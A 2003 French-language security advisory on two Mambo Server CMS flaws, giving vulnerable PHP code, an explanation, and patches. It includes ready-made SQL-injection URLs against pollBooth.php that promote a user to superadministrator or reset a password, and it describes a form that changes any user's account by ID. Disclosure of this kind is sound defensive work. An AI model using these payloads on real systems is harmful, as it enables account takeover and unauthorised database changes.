Mambo Server ************ Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.mamboserver.com ------------------------------------------------------- Version : 4.0.14 Problème : Redéfinition des variables de configuration ------------------------------------------------------- Version : 4.5 Beta 1.0.3 Problème : Changement de toutes les infos membres/admin ------------------------------------------------------- Developpement : °°°°°°°°°°°°°°° MamboServer est un CMS (portail) contenant de nombreux modules tels que un module utilisateurs, contact, news, bannières, liens, moteur de recherche,... - Version 4.0.14 : ****************** La faille qui se trouve dans cette version vient de la définition de certains types de variables. Ce genre de failles, que j'ai récemment rencontré plusieurs fois ces temps-ci (dont dans XOOPS par exemple) est une consèquence inattentue de la mesure de sécurité de PHP qui consiste à mettre par défaut register_globals=OFF dans php.ini. Ainsi les coders, pour s'économiser bcp de temps, font des codes qui reproduisent l'entiereté ou pas de l'option register_globals=ON. Le fichier regglobals.php contient donc le code suivant : --------------------------------------------------------------------- 4 && $v_major < 1) || $v_Upper < 4){ $_FILES = $HTTP_POST_FILES; $_ENV = $HTTP_ENV_VARS; $_GET = $HTTP_GET_VARS; $_POST = $HTTP_POST_VARS; $_COOKIE = $HTTP_COOKIE_VARS; $_SERVER = $HTTP_SERVER_VARS; $_SESSION = $HTTP_SESSION_VARS; $_FILES = $HTTP_POST_FILES; } while(list($key,$value)=each($_FILES)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_ENV)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_SERVER)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_SESSION)) $GLOBALS[$key]=$value; foreach($_FILES as $key => $value) { $GLOBALS[$key]=$_FILES[$key]['tmp_name']; foreach($value as $ext => $value2) { $key2 = $key."_".$ext; $GLOBALS[$key2]=$value2; } } } ?> --------------------------------------------------------------------- On voit donc que, si register_globals=OFF, toutes les variables FILES, ENV, GET, POST, COOKIE, SERVER et SESSION seront redéfinies en tant que variables globales (GLOBALS). Seul, ce code ne pose aucun problème de sécurité. Voyons la suite :) Dans les fichiers banners.php, pollBooth.php, upload.php, usermenu.php et userpage.php, on peut voir le code suivant : ------------------------------ include ("configuration.php"); [...] include ("regglobals.php"); ------------------------------ Le fichier configuration.php contient des variables comme : ------------------------------------------------------------ $host = 'localhost'; // This is normally set to localhost $user = ''; // MySQL username $password = ''; // MySQL password $db = ''; // MySQL database name $dbprefix = 'mos_'; // Do not change unless you need to! ------------------------------------------------------------ et bien d'autres. Un petit interlude théorique s'impose pour comprendre le problème. Si on exécute le code PHP suivant : ---------------------------- ---------------------------- On verra s'afficher "Global". Ce qui veut dire que si on définit une variable locale, puis une autre variable globale du même nom, la variable locale aura la valeur de la globale (et vis et versa :p). Et c'est bien ce qui se passe ici. On définit d'abord des variables locales dans configuration.php, puis on dit que chaque variable donnée par l'utilisateur devient globale. Il est donc possible de donner une nouvelle valeur à toutes les variables de configurations, ce qui peut avoir de nombreuses consèquences. J'ai cherché (et trouvé) un exemple, le fichier pollBooth.php : --------------------------------------------------------------------------------------------------------------------------- include("configuration.php"); include('language/'.$lang.'/lang_poll.php'); include("regglobals.php"); [...] switch ($task){ case "Vote": addvote($voteID, $cook, $polls, $dbprefix); break; [...] } function addvote($voteID, $cook, $pollID, $dbprefix){ if ($database==""){ require("classes/database.php"); $database = new database(); } global $sessioncookie; if (empty($sessioncookie)) { print "\n"; } else { if($cook == "1") { print "\n"; } else { if ($voteID == 0){ print "\n"; } $cvalue = "1"; $cookiename="voted".$pollID; setcookie("$cookiename", $cvalue, time()+87640); } if($cook == "") { if ($voteID > 0) { $query = "UPDATE ".$dbprefix."poll_data SET optionCount=optionCount + 1 WHERE pollid='$pollID' AND voteid='$voteID'"; $database->openConnectionNoReturn($query); $voters = $voters + 1; $query = "UPDATE ".$dbprefix."poll_desc SET voters=voters + 1 WHERE pollID='$pollID'"; $database->openConnectionNoReturn($query); $today = date("Y-m-d G:i:s"); $query = "INSERT INTO ".$dbprefix."poll_date SET date='$today', vote_id='$voteID', poll_id='$pollID'"; $database->openConnectionNoReturn($query); echo ""; } } } } [...] --------------------------------------------------------------------------------------------------------------------------- Après avoir remplis certaines conditions (que je ne vais pas détailler ici), on arrive à l'exécution de la requête suivante : --------------------------------------------------------------------------------------------------------- UPDATE ".$dbprefix."poll_data SET optionCount=optionCount + 1 WHERE pollid='$pollID' AND voteid='$voteID' --------------------------------------------------------------------------------------------------------- Il se fait que la variable $dbprefix peut, comme on l'a vu, être redéfinie. Il est donc possible d'exécuter n'importe quelle requête UPDA via pollBooth.php si register_globals=OFF !!!! Voici quelques petites possibilités de ce qui est possible de faire - Le titre de l'article N°23 de vient "hop" : http://[target]/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&voteID=1&dbprefix=mos_articles%20SET%20title=char(104,111,112)%20WHERE artid=23/* - L'utilisateur ayant l'id 52 devient super administrateur : http://[target]/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&voteID=1&dbprefix=mos_users%20SET%20usertype=char(115,117,112,101,114,97,100,109,105,110,105,115,116,114,97,116,111,114)%20WHERE%20id=52/* - Le mot de passe de l'utilisateur dont l'id est 10 devient 'a' : http://[target]/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&voteID=1&dbprefix=mos_users%20SET%20password=md5(char(97))%20WHERE%20id=10/* Si on veut exécuter plusieurs requêtes UPDATE sur le même site, il faut envoyer un cookie vide nommé "voted" sur la page. - Version 4.5 Beta 1.0.3 : ************************** Ici la faille est très simple d'utilisation, ce qui rajoute evidemment à l'ampleur du problème. Le code buggé se trouve dans le fichier components/com_user/user.php : ------------------------------------------------------------------------------------------------------------------- [...] switch( $task ) { [...] case "saveUserEdit": userSave( $option, $my->id ); break; [...] } [...] function userSave( $option, $uid) { global $database; if ($uid == 0) { echo _NOT_AUTH; return; } $row = new mosUser($database); if(isset($_POST["id"]) && ($_POST["id"] != null || $_POST["id"] != "")) { $row->load($_POST["id"]); $row->orig_password = $row->password; } if (!$row->bind( $_POST )) { echo "\n"; exit(); } if(isset($_POST["password"]) && $_POST["password"] != "") { if(isset($_POST["verifyPass"]) && ($_POST["verifyPass"] == $_POST["password"])) { $row->password = md5($_POST["password"]); } else { echo "\n"; exit(); } } else { // Restore 'original password' $row->password = $row->orig_password; } if (!$row->check()) { echo "\n"; exit(); } unset($row->orig_password); // prevent DB error!! if (!$row->store()) { echo "\n"; exit(); } mosRedirect( "index.php?option=$option" ); } [...] ------------------------------------------------------------------------------------------------------------------- Les modifications d'un compte se font en fonction de l'id du membre. Mais il se fait que la valeur de cet id est donnée par un champ de formulaire POST. Il suffit donc de changer la valeur de cet (par exemple "80") pour pouvoir changer le mot de passe, le nom, l'email de l'utilisateur dont l'id est 80. Un exemple simple d'utilisaton; une page html : --------------------------------------------------------------------
New Name :
New E-mail :
New UserName :
New Password :
Verfiy New Pass :
ID :

-------------------------------------------------------------------- Solutions : °°°°°°°°°°° Des patchs sont disponibles sur http://www.phpsecure.info. Le créateur (Robert Castley) a été prévenu. Pour la version 4.0.14, il a publié un patch 2 (fonctionnant uniquement si le patch 1 est installé), et une version 4.5 Beta 1.0.14 a été publiée pour les failles de la 1.0.13. - Version 4.0.14 : ****************** Dans les fichiers banners.php, pollBooth.php, upload.php, usermenu.php et userpage.php, mettre la ligne : --------------------------- include ("regglobals.php"); --------------------------- Comme PREMIERE LIGNE, et supprimer les autres inclusions de ce fichier. - Version 4.5 Beta 1.0.3 : ************************** Dans components/com_user/user.php, dans la fonction userSave(), remplacer les lignes : --------------------------------------------------------------------------------- if(isset($_POST["id"]) && ($_POST["id"] != null || $_POST["id"] != "")) { $row->load($_POST["id"]); $row->orig_password = $row->password; } --------------------------------------------------------------------------------- par --------------------------------------------------------------------------------------------------------- if(isset($_POST["id"]) && ($_POST["id"] != null || $_POST["id"] != "") && $_POST["id"] == $uid) { $row->load($_POST["id"]); $row->orig_password = $row->password; }else{ die("Bad User Id"); } --------------------------------------------------------------------------------------------------------- Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.phpsecure.info Date : 25/11/03 Merci à : Nicolas DE RYCKE ( http://www.knowckers.org )